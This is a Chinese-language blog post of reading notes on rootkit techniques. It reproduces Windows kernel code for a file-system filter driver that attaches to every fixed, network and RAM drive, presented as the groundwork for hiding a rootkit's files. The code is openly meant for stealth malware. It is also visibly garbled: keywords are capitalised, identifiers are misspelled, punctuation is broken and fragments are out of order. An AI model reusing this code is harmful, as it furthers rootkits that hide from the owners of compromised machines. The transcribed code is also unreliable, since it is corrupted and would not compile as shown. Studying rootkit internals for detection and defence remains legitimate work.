读书笔记_Rootkit技术_文件过滤驱动程序(1)

来源:互联网 发布:大数据产品经理面试题 编辑:程序博客网 时间:2024/05/16 14:11

分层驱动程序可应用于文件系统。出于潜行的需求,文件系统对于rootkit有着特殊的吸引力。许多rootkit需要在文件系统中存储文件,并且这些文件必须是隐藏的。可以使用钩子技术来隐藏文件,但这种方法容易被检测出来。另外,如果文件或目录安装在SMB共享系统上,那么钩住系统服务描述表(system service descriptor table,SSDT)并不能隐藏它们。下面来看通过分层驱动的方法来隐藏文件。

首先从驱动的入口函数DriverEntry例程来看:

NTSTATUSDriverEntry ( IN PDRIVER_OBJECT DriverObject,

                    IN PUNICODE_STRINGRegistryPath)

{

       For ( i = 0; I <=IRP_MJ_MAXIMUM_FUNCTION; i++)

       {

           DriverObject->MajorFunctionp[i] =OurDispatch;

       }

   DriverObject->FastIoDispatch=&OurFastIOHook;

   在DriverEntry例程中,是MajorFunction数组指向OurDispatch调度例程,还建立了一个FastIoDispatch调度表,这里可以看到文件系统驱动程序特有的一些内容。FastIo是文件系统程序的另一种通信方法。

准备好调度表后,下面必须钩住驱动器,调用HookDriveSet函数在所有可用得驱动器盘符上安装钩子:

DWORD d_hDrives= 0;

// Initializethe drives we will hool

For(I = 0;i< 26; i++)

     DriveHookDevices[i] =NULL;

DriveToHook =0;

ntStatus =GetDrivesToHook(&d_hDrives);

if(!NT_SUCCESS(ntStatus))

   return ntStatus;

HookDriveSet(d_hDrives,DriverObject);

以下代码用于获取钩住的驱动程序列表:

NTSTATUSGetDrivesToHook(DWORD *d_hookDrives)

{

    NTSTATUS ntstatus;

    PROCESS_DEVICEMAP_INFORMATION s_devMap;

    DWORD MaxDriveSet, CurDriveSet;

    Int drive;

    If(d_hookDrives == NULL)

         Return STATUS_UNSUCCESSFUL;

注意当前进程的句柄用法:

Ntstatus = ZwQueryInformationProcess(( HANDLE) 0xffffffff,

                                 ProcessDeviceMap,

                                 &s_devMap,

                                     Sizeof(s_devMap),

                                     NULL);

If(!NT_SUCCESS(ntstatus))

     Return ntstatus;

// Get available drives we can monitor.

MaxDriveSet = s_devMap.Query.DriveMap;

CurDriveSet = MaxDriveSet;

For ( drive = 0; drive < 32; ++drive)

{

    If(MaxDriveSet &(1<<drive))

    {

       Switch(s_devMap.Query.DriveType[drive])

       {

 首先处理要跳过的驱动器:

// We don’t like these: remove them.

    Case DRIVE_UNKNOWN: // Thedrive type cannot be determined.

    Case DRIVE_NO_ROOT_DIR; //The root directory does not exit.

         curDriveSet &=~(1 <<drive);

         break;

// The drive can be removed from the drive

// Doesn’t make sense to put hidden files on

// a removable drive because we will not

// necessarily control the computer that the

// drive is mounted on next.

Case DRIVE_REMOVABLE:

    CurDriveSet &= ~(1<< drive);

    Break;

// The drive is a CD-ROM drive

 Case DRIVE_CDROM;

    CurDriveSet &= ~(1<< drive);

    Break;

将要钩住以下驱动器:DRIVE_FIXED,DRIVE_REMOTE和DRIVE_RAMDISK.

代码继续如下:

}

}

}

*d_hookDrives = CurDriveSet;

Return ntstatus;

}

钩住驱动器集合的代码如下:

ULONG HookDriveSet(IN ULONG DriveSet, IN PDRIVER_OBJECT DriverObject)

{

    PHOOK_EXTENSION hookExt;

    ULONG drive, I;

    ULONG bit;

     // Scan the drive table,looking for hits on the DriveSet bitmask.

    For( drive = 0; drive <26; ++drive_

{

    Bit = 1<< drive;

    // Are we supposed to hookthis drive

     If (( bit & DriveSet)&&!(bit &DrivesToHook))

{

  If( !HookDrive( drive,DriverObject))

  {

    // remove from drive setif can’t be hooked

    DriveSet &= ~bit;

}

Else

{

   // Hook drives in samedrive group

   For( I = 0; I < 26; i++)

{

   If( DriveHookDevices[i] ==DriveHookDevices[ drive])

    {

         DriveSet |= (1<<i);

    }

}

        }

     }

     Else if ( !(bit  & DriveSet)&&(bit & DrivesToHook) )

{

   // Unhook this drive and all in the group

    For ( I = 0; i<26; i++)

    {

       If( DriveHookDevices[i] ==DriveHookDevices[ drive])

       {

            UnhookDrive(i);

            DriveSet &= ~(1<<i);

}

       }

}

}

// return set of drives currently hooked.

   DrivesToHook = DriveSet;

   Return DriveSet;

}

对于单个驱动器挂上你和取下钩子的代码如下:
  if(DriveHookDevices[Drive])

{

    hookExt =DriveHookDevices[Drive]->DeviceExtension;

    hookExt -> Hooked =FALSE;

  }

}

 

BOOLEAN HookDrive ( IN ULONG Drive, IN PDRIVER_OBJECT DriverObject)

{

   IO_STATUS_BLOCK ioStatus;

   HANDLE ntFileHandle;

   OBJECT_ATTRIBUTESobjectAttributes;

   PDEVICE_OBJECTfileSysDevice;

   PDEVICE_OBJECT hookDevice;

   UNICODE_STRINGfileNameUnicodeString;

   PFILE_FS_ATTRIBUTE_INFORMATIONfileFsAttributes;

   ULONG fileFsAttributesSize;

   WCHAR filename[] = L”\\DosDevices\\A:\\”;

   NTSTATUS ntStatus;

   ULONG I;

   PFILE_OBJECT fileObject;

   PHOOK_EXTENSIONhookExtension;

   If(Drive  >= 26)

        Return FALSE; //Illegal drive letter

  // Test whether we havehooked this drive

 If ( DriveHookDevices [Drive] == NULL )

  {

     Filename[12] = (CHAR) ( ‘A’+ Drive); // Set up drive name

    下面打开磁盘卷的根目录:

   RtlInitUnicodeString(&fileNameUnicodeString, filename);

   InitializeObjectAttributes(&objectAttributes,

                        &fileNameUnicodeString, OBJ_CASE_INSENSITIVE, NULL, NULL);

     ntStatus = ZwCreateFile(&ntFileHandle,

                         SYNCHRONIZE | FILE_ANY_ACCESS,

                         &objectAttributes,

                        &ioStatus,

                            NULL,

                            0,

                            FILE_SHARE_READ |FILE_SHARE_WRITE,

                           FILE_OPEN,

                           FILE_SYNCHRONOUS_IO_NONALERT | FILE_DIRECTORY_FILE,

                            NULL,

                            0);

          If ( ! NT_SUCCESS ( ntStatus ))

{

     若程序无法打开驱动器,则返回“false”:

                 Return FALSE;

        }

// Use file handle to look up the fileobject.

// If this is successful,

// we must eventually decrement the fileobject

ntStatus = ObReferenceObjectByHandle (ntFileHandle,

                                FILE_READ_DATA,

                                 NULL,

                                 KernelMode,

                                &fileobject,

                                 NULL);

If( !NT_SUCCESS ( ntStatus))

{

若程序无法从句柄中获得文件对象,则返回“false”:

ZwClose ( ntFileHandle );

Return FALSE;

}

// Get the device object from the Fileobject

fileSysDevice = IoGetRelatedDeviceObject (fileObject );

if(!fileSysDevice)

{

若程序无法获取设备对象,则返回“flase”:

ObDereferenceObject(fileObject);

ZwClose (ntFileHandle);

Return FALSE;

}

// Check the device list to see if we arealready

// attached to this particular device

// This can happen when more than one driveletter

// is being handled by the same network

// redirector

For (I = 0; i<26; i++)

{

      If( DriveHookDevices[i] == fileSysDevice )

{

// if we are already watching it

// associate this drive letter

// with the others that are handled

// by the same network driver. This enables us to intelligentlyupdate

// the hooking menus when the user specifies that one of the groupshould not be

// watched – we mark all of the related drives as unwantched aswell.

      ObDereferenceObject(fileObject);

      ZwClose(ntFileHandle);

      DriveHookDevice[Drive] =fileSysDevice;

      Return TRUE;

        }

}

// The file system’s device hasn’t been hooked already, so make ahooking device object // that will be attached to it

ntStatus = IoCreateDevice(DriverObject,

                     sizeof(HOOK_EXTENSION),

                      NULL,

                     fileSysDevice->DeviceType.

                     fileSysDevice->Characteristics,

                      FALSE,

                     &hookDevice);

 If( !NT_SUCCESS(ntStatus))

{

     若程序无法创建相关的设备,则返回“false”:

     ObDereferenceObject(fileObject);

     ZwClose(ntFileHandle);

     Return FALSE;

}

// Clear he device’s init flag

// If we do not clear this flag, it is speculated no one else wouldbe able to layer on top

// of us. This may be a useful feature in the future !

hookDevice->Flags &=~DO_DEVICE_INITIALIZEING;

hookDevice->Flags|=(fileSysDevice->Flags&(DO_BUFFERED_IO | DO_DIRECT_TO));

     // Set up the device extensions. The drive letter and file system objectare stored in the

     // extenson

        hookExtension = hookDevice->DeviceExtension;

        hookExtension->LogicalDrive = ‘A’ + Drive;

        hookExtension->FileSystem = fileSysDevice;

        hookExtension->Hooked = TRUE;

        hookExtension->Type = STANDARD;

      // Finally, attach to the device. As soon as we are successfullyattached, we may start

      // receiving IRPs targeted at the device we are hooked.

        ntStatus = IoAttachDeviceByPointer( hookDevice, fileSysDevice);

      if( !NT_SUCCESS(ntStatus))

{

    ObDereferenceObject (fileObject);

    ZwClose(ntFileHandle);

    Return FALSE;

}

 

// Determine whether this is an NTFS drive

 

fileFsAttributesSize = sizeof(FILE_FS_ATTRIBUTE_INFORMATION) +MAXPATHLEN;

  hookExtension->FsAttributes = (PFILE_FS_ATTRIBUTE_INFORMATION)

ExAllocatePool(NonPagedPool, fileFsAttributesSize);

If(hookExtension->FsAttributes && !NT_SUCCESS (

IoQueryVolumeInformation ( fileObject, FileFsAttributeInformation,fileFSAttributesSize,

                      hookExtension->FsAttributes,

                       &fileFsAttributesSize)))

{

  // On failure, we just don’thave attributes for this file system.

   ExFreePool (hookExtesnion->FsAttributes_;

  hookExtension->FsAttributes = NULL;

}

// Close the file and update the hooked drive list by entering apointer to the hook

// device object in it.

ObDereferenceObject ( fileObject);

ZwClose(ntFileHandle);

DriveHookDevices[Drive] = hookDevice;

}

Else // This drive is already hooked

{

  hookExtension =DriveHookDevices[Drive]->DeviceExtension;

  hookExtension ->Hooked =TRUE;

}

Return TRUE;

}

 

 

                                 

;

 

 

 

 

 

 

原创粉丝点击